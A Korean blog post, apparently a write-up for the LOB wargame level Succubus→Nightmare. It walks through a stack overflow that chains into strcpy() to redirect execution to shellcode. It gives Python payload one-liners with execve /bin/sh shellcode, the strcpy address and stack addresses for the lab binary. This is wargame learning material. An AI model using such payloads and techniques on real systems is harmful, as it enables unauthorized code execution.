LOB:Succubus→Nightmare

LOB 2018. 5. 14. 13:59

가면 갈수록 어려워지는게 느껴진다.

말로 설명해야하고, 스샷으로 찍기가 어렵다. 적어도 이 문제는 이해할 부분이 많았다.

귀찮지만 난이도는 그리 높지 않으니 찬찬히 해보자.




먼저 코드이다. 우선 strcpy()의 주소를 사용해야하고, buffer의 40+8번째를 AAAA로 채운다. 이 주소가 뭔지 잘 생각해보면,


main의 ret에 strcpy()의 주소를 넣었으므로 이 주소는 strcpy의 리턴주소일 것이다.

즉 이 AAAA를 우리가 원하는 쉘코드의 위치로 바꿔야 쉘을 얻을 수 있다.


먼저 strcpy의 주소를 얻어보자.

힌트에는 PLT를 이용하라고 되어있는데, plt를 굳이 써야하는지는 모르겠다.


보다시피 gdb에서 바로 주소를 얻을 수 있기 때문이다.


그러면 우선 간단하게 파이썬코드를 짜보자.

`python -c 'print "A"*44 + "\x10\x94\x04\x08"'` 


이렇게 생긴게 기본일 것이다. 이제 저 뒤에 인자를 넘겨야 한다.




strcpy함수는 strcpy(char *dest , const char *src)로 되어있다.

스택의 구조를 생각했을 때 [strcpy의 주소] [RET] [인자...]이 될 것이다.


즉 우리는 인자로 strcpy의 ret을 쉘코드의 주소로 바꿀 것이다.


쉘코드는 앞쪽 40byte에 넣도록 하자.

`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*20 + "\x10\x94\x04\x08"'` 


버퍼의 시작주소와 strcpy의 RET을 알아야 하니 코어를 떨궈서 gdb로 열어보자.



버퍼의 시작점, RET 둘다 얻었다.

각각 

0xbffffa70, 0xbffffaa0 이다.

이 주소는 페이로드를 바꿀때마다 바뀌므로 주소를 잘 따오도록하자. 필자는 구조를 잘 몰랐기에 여러 시도를 하다보니 페이로드를 약 40번정도 수정했고, 주소는 바꿀때마다 계속 오락가락했다. 당연하게도 뒤에 저 주소들을 넣으면 주소가 조금 바뀔것이다. 계속 수정할 것을 권한다.

(예상하기엔 페이로드의 길이가 길어지면 스택이 더 자라므로, 주소가 조금씩 밑으로 밀리는것 같다)


그리고 strcpy의 dest는 목적지의 주소를 의미하지만 src는 해당 주소에 있는 주소의 내용을 복사한다. 즉 버퍼내에 버퍼의 시작지점을 복사해두고, src를 그 주소으로 해야한다.

필자는 계산하기 쉽도록 버퍼의 제일앞에 버퍼의 시작 주소를 넣어두었다.


`python -c 'print "\x64\xfa\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\x10\x94\x04\x08" + "BBBB" + "\x90\xfa\xff\xbf" + "\x60\xfa\xff\xbf"'` 


보다시피 페이로드를 수정하면서 주소값이 많이 바뀌었다. 중간의 과정은 필요없고, 각각 주소만 맞게 넣어주면 된다.

간단하게 설명하면

\x64\xfa\xff\xbf : 버퍼의 시작 + 4 이다. 버퍼의 시작부터 4바이트는 주소를 넣어놨기 때문이다.


x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 : 쉘코드이다. 24바이트


\x10\x94\x04\x08 : strcpy의 주소이다.


\x90\xfa\xff\xbf : dest주소이다. 이 주소에 strcpy의 ret가 담긴다. 주소가 위와 달라진 것을 확인할 수 있다.


\x60\xfa\xff\xbf : 버퍼의 시작주소이다. 이 주소에 \x64\xfa\xff\xbf 가 자리잡고 있다.



쉘을 획득한것을 확인하고 끝내도록 하자~

'LOB' 카테고리의 다른 글

LOB: Xavius→Death_knight  (0) 2018.05.17
LOB:Nightmare→Xavius  (0) 2018.05.14
LOB:Zombie_assassin→Succubus  (0) 2018.05.12
LOB:Assasin→Zombie-assassin  (0) 2018.05.03
LOB:Giant→Assasin  (0) 2018.05.01
블로그 이미지

천재보다는 범재

,